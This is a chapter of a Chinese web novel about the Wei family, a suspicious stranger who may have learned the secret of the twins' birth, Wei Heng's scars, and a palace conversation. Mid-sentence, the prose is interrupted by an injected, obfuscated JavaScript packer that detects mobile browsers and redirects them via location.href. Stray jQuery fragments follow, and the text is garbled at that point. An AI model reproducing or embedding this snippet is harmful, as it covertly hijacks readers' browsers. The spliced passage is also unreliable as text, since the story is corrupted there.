枕月长终 作品

48. 伤疤

    乌蔓:……


    “醒了?还难受吗?”


    魏洮没有说话,只是安静看着她。


    乌蔓不慌不忙地摸摸他额头:“怎么了?”


    “母亲人呢?”


    “接到你醉酒的消息,就让她先回府了。”


    “你们今晚有碰见什么难缠的人吗?”


    难缠的人…乌蔓垂眸:“没有,没什么问题,为什么这么问?”


    魏洮不语,只是又闭上了眼睛。


    过了一会想到乌蔓也清楚魏家的一些问题,便隐晦提醒道:“有人在暗查魏家之前的事,这段时间你就在府中待着,别乱跑。”


    新年事多,她本就不怎么出门。


    只是这话听了,便让乌蔓心头生出一种危机感。


    *


    魏恒因骑马,比他们快些。


    乌蔓二人回府的时候,见府中乱糟糟的。


    她拧眉问:“出什么事了?”


    一下人道:“老夫人回府途中马车翻了,受了些伤,二公子找了大夫来,正在里头诊治。”


    “摔了?”乌蔓倏地质问,“怎么好好坐个马车也能摔着?”


    一面说,一面往里走。


    老太太这段时间本就生着病,风寒还未好,今日回来还摔了一遭。


    上了年纪的老人就怕摔跤,太多因为小小的磕绊就一命呜呼的人了。


    好在她摔得不严重,只是崴到了脚。


    府医看过后,说没有伤到骨头,好好在床上修养便是。


    老夫人本来还因为翻车的事心情不佳,但看到魏恒之后注意力都被转到小儿子身上去了。


    魏恒久未归家,被老夫人拉着说了好一阵的话。


    乌蔓先带着魏洮回了院子,他酒醉的厉害,乌蔓给强行喂了碗解酒茶,又安排初礼给他简单洗漱下。


    又忙不迭地回老夫人那。


    魏恒还在安抚老夫人,他此次回来,面上又多了一道浅浅的疤,不过与左眼下那道不同,下颚一道浅白的痕迹,应该伤得不深,不细看都无法察觉。


    老夫人正摸索着他面上那两块地方,眼泪止不住地掉。


    魏恒嘴笨,又不知如何安抚,只一味地为母亲擦泪。


    乌蔓从小厨房那端来老夫人的药,进屋看到的就是这幅场景。


    她轻声道:“人没事就最好了,母亲。”


    她一说话,屋中两人视线都朝她扫了过来。


    乌蔓搅和着汤药,不动声色地站在魏恒身侧:“你先回吧,这儿有我照看。”


    天色已经很晚了,魏恒这次能在府中待几天,不急这一时半会的。


    深深望了乌蔓一眼,同老夫人说了声,便回自己院子了。


    老夫人躺在床上,擦了擦眼泪:“这么晚你过来做什么,让陈嬷嬷服侍就行。”


    乌蔓有心想问清楚今晚的情况,特地跑回来,还将屋中下人都遣了出去。


    “马车好好的,怎么会摔呢。”乌蔓一边喂,一边漫不经心道,“马夫若是不懂驾车,还不如趁早打发了,省的浪费魏家的米粮。”


    老夫人叹了一口气:“算了,也幸好摔得不严重,今夜街边本就人多。”


    乌蔓诧异地抬头望了一眼。


    老夫人平素最是刻薄,一有不顺心的恨不得骂上对方八辈祖宗。


    今夜这么好讲话?怕是有问题。


    “幸好车摔的时候,被一旁不知谁家的侍从接了一下,那家的夫人还在路上安慰了我许久,让我别苛责下人。


    若不是碰上那位好心人,我这条老命真要折在今日。”


    乌蔓瞬间心中一紧:“谁家的夫人?是她送您回来的?”


    “是啊,”老太太不在意道,“我问了,不过她没说,还道不是什么要紧的事,不必放在心上。那时车辙断了,她也顺路,便送了我一趟。”


    “您方才怎么没说?”


    “我看那位夫人举止不俗,衣着华贵,必是高门大户之人,既人家不愿说,我便也没提。”


    老夫人见乌蔓神色凝住,也反应过来,小心翼翼道:“我也说了日后登门道谢,她一再推辞,我以为…是瞧不上我们,我可是又做错了?”


    若是寻常,倒不是什么要紧事,但这个岔口……


    乌蔓勉强笑着:“没什么,您别紧张,我只是随便问问…您与那位夫人感情这样好,怕是回来这一路,聊得足够投机吧。”


    “那可不,你说巧不巧,那夫人说她原先在灵禅寺苦修多年,若是下回我们想去,可以一齐引荐。”


    老夫人一说起这个,便激动了起来:“我之前还说一直想去呢,如今灵禅寺闭门,正恼着,看来这寺与我家果真有缘分。”


    什么缘分,根本就是精心甩出的一记饵料,只等着钓魏家这条大鱼。


    乌蔓不死心,晦涩问了句:“那,您也说了吗?”


    “什么?”


    “魏家双生子,是在灵禅寺出生的…这个秘闻。”


    乌蔓出来的时候,心绪恍惚,往院中走的时候没注意,差点摔了一跤。


    被人紧紧握住手臂稳住。


    她怔愣抬头,撞进魏恒紧皱的眉眼间。


    只是这回,没有抽回自己手臂,仍是呆怔在原地不动。


    魏恒:“……出什么事了吗?”


    乌蔓这才缓过神来,往后退了两步:“没、没有。”


    “说谎。”


    魏恒又走近,低头去看她双眸:“在我面前不要说假话,我能看出来。”


    “发生什么了?母亲为难你了?还是魏洮欺负你了?”


    他又抓上乌蔓的胳膊,面上怒意显露,好似只要乌蔓点一下头,他就要将她遭受到的所有委屈一一讨回来。


    魏恒早已不是当初那个死板都木讷的魏恒,他上过了战场,手中的刀剑也见过了血,此时眉眼狠戾起来,带着令人胆颤的血色。


    “……没有,”乌蔓拧着眉头,心神不宁道,“你别掺和了。”


    说罢就要转身离开。


    只是走了几步,她又折返回来。


    乌蔓摊开掌心,一枚小巧的平安符放在魏恒面前。


    “还以为你过年不会回来,想着今夜若碰见郡主便送给她。”


    没想到姜沅没来,魏恒倒是回来了。


    “全家都求了,这是你的。”乌蔓语气顿了顿,“往后出门在外,多小心些。”


    面上都有几道疤了,看不见的地方,指不定伤成什么样。


    乌蔓将东西给他,便准备回去了。


    又被魏恒喊住。


    她回身望的时候,魏恒攥着小小的一枚符,神色复杂地看着她。


    “只这么两道,我当时实在没躲过、”


    他话说的极慢,声音又晦涩,乌蔓一脸疑问,没明白他什么意思。


    魏恒咬牙,十分屈辱道:“我会好好涂药,一定能痊愈,一定能恢复成原先那样,一点都看不出来……”


    他也知道丑,也觉得难看。


    朝徐岭那要来最好的金疮药,他在人后涂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422364|165298||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    了一遍又一遍,整日厚厚地敷上一层。


    说什么能痊愈,能恢复,不过是说的空话。


    他弄了那么久,一点用都没有。


    但他只是害怕。


    他长相太过严肃周正,本就没有魏洮俊美,如今又多了这两道疤,他更担心乌蔓嫌弃……


    再看眼前的乌蔓,面无表情的,她只是荒谬地看了两眼魏恒,离开地利落干脆。


    徒留下魏恒失魂落魄地站在原地。


    *


    姜晁扫过桌案上的折子,一脸不可置信望着眼前人:“当初武陵侯一事,你分明……”


    “陛下,不可心慈手软。”


    “事情都已经过了这么多年,除了你根本不会有人查究!”


    “可一旦查究,其中后果陛下担当的起吗?”


    姜晁被这一句话震住般,往后退了半步。


    面前人紧跟着追上,显露出方才被阴影遮挡的面容。


    赫然便是薛家主薛楷。


    薛楷望着姜晁,面色凝重:“无论传言是真是假,陛下也该早些做出决断才是。”


    话中的警觉让姜晁晃神,他面前闪过陈年的画面。


    姜沅小小的一个,牵着他的衣角一直追问。


    “为什么沅沅只有皇叔?沅沅的爹娘呢?”


    薛楷皱眉:“陛下!”


    姜晁猛地睁眼。


    *


    魏恒眨了眨眼,拉开手上的弓,三石的重弓被他轻而易举地拉开,他微微侧目,闭上左眼,眼皮上浅淡的伤疤首尾重叠,汇聚成一道锐利的流星。


    他瞄准着远处的靶心,下一息指头松开,离弦之箭猛地飞出,带着千钧万重的气魄直击靶心。


    魏恒放下弓,面上没什么表情。


    徐岭站在他一旁笑着:“心情不好?好不容易回趟京城,怎么不在府中陪你的美娇娘,跑来宫中了?”


    如今正太平,永定军平日在外扫荡乱寇,回了京便在宫中守着。


    徐岭今日听闻魏恒进了宫,便来找他。


    魏恒轻点头:“来陪陛下喝酒。”


    “啧,陛下倒是喜欢你,”徐岭与他并肩站着,看他射箭玩,“……怎么感觉这个场景有点熟悉。”


    他笑了一声,只是此次显得落寞:“当初侯爷也总喜欢带着小陛下偷酒喝,那时也是,他在这射箭等陛下来,我就站这陪他一起等着。”


    “唉,一晃都好多年的事了。”


    魏恒经常能听到他们说武陵侯的事,永定军是他手底下出来的兵,一朝身死,四散的军队再度凝聚在一起,难免伤怀往日。


    每每这时,魏恒都有些无措。


    他虽眉目周正严肃,但读了那么多年书,内里是寡言沉静的,他不知该怎么安慰,便抿着唇瓣不说话,时不时看他们一眼,看是否一切都好。


    他们这一辈人,对武陵侯唯一的印象,只剩下娇纵又任性的淮莘郡主那个早亡的爹。


    徐岭见他动作停了,拍了拍他的肩:“你玩你的,别总摆出这副样子,搞得老子多可怜一样。”


    他摆手道:“你在这等吧,我走了,回头要离京,我提前几天跟你说。”


    魏恒又接着低头去摆弄自己的箭。


    其实永盛帝约他下午进宫,只是他也不知去哪里。


    家中乌蔓一直陪着老夫人,他想去拜见便会撞见她。


    他……想到昨夜那人冷淡的眉眼,魏恒沉默捯饬着手上的弓。


    在伤没好前,还是不要跟她见面了。